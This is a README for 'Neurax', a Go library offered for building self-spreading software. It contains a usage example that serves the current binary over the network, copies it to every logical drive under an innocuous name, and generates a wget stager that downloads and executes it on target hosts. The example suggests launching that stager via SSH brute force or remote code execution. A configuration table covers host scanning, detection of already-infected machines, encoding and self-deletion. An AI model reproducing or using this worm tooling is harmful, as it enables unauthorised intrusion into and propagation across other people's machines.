A library that aids in creation of self-spreading software
go get -u https://github.com/redcode-labs/Coldfire
With help of Neurax, Golang binaries can spread on local network without using any external servers.
Diverse config options and command stagers allow rapid propagation across various wireless environments.
package main
import "github.com/redcode-labs/Neurax"
func main(){
//Specify serving port and stager to use
NeuraxConfig.port = 5555
NeuraxConfig.stager = "wget"
//Start a server that exposes the current binary in the background
go NeuraxServer()
//Copy current binary to all logical drives
NeuraxDisks()
//Create a command stager that should be launched on target machine
//It will download, decode and execute the binary
cmd_stager := NeuraxStager()
/* Now you have to somehow execute the command generated above.
You can use SSH bruteforce, some RCE or whatever else you want ;> */
}
Name | Description | Default value |
---|---|---|
NeuraxConfig.stager | Name of the command stager to use | random, platform-compatible |
NeuraxConfig.port | Port to serve on | random from 2222 to 9999 |
NeuraxConfig.platform | Platform to target | detected automatically |
NeuraxConfig.path | The path under which binary is saved on the host | random |
NeuraxConfig.file_name | Name under which downloaded binary should be served and then saved | random |
NeuraxConfig.base64 | Encode the transferred binary in base64 | false |
NeuraxConfig.comm_port | Port that is used by binaries to communicate with each other | random |
NeuraxConfig.required_port | NeuraxScan() treats host as active only when it has a specific port opened | none |
NeuraxConfig.scan_passive | NeuraxScan() detects hosts using passive ARP traffic monitoring | false |
NeuraxConfig.scan_timeout | NeuraxScan() sets this value as timeout for scanned port in each thread | 2 seconds |
NeuraxConfig.read_arp_cache | NeuraxScan() scans first the hosts found in local ARP cache. Works only with active scan | false |
NeuraxConfig.cidr | NeuraxScan() scans this CIDR | local IP + "\24" |
NeuraxConfig.threads | Number of threads to use for NeuraxScan() | 10 |
NeuraxConfig.full_range | NeuraxScan() scans all ports of target host to determine if it is active | from 19 to 300 |
NeuraxConfig.verbose | If true, all error messages are printed to STDOUT | false |
NeuraxConfig.remove | When any errors occur, binary removes itself from the host | false |
Function NeuraxScan(c chan string)
enables detection of active hosts on local network.
It accepts a channel of type string as it's only argument and should be launched as a goroutine.
Any scanned host will be sent through that channel as soon as it was classified as active.
Host is treated as active when it has at least 1 open port, is not already infected + fullfils conditions specified within NeuraxConfig
.
Neurax binary doesn't have to copy itself using wireless means.
Function NeuraxDisks()
copies current binary (under non-suspicious name) to all logical drives that were found.
Copied binary is not executed, but simply resides in it's destination waiting to be run.
NeuraxDisks()
returns an error
if list of disks cannot be obtained or copying to any destination was impossible.
====> Seto01 <====
This software is under MIT license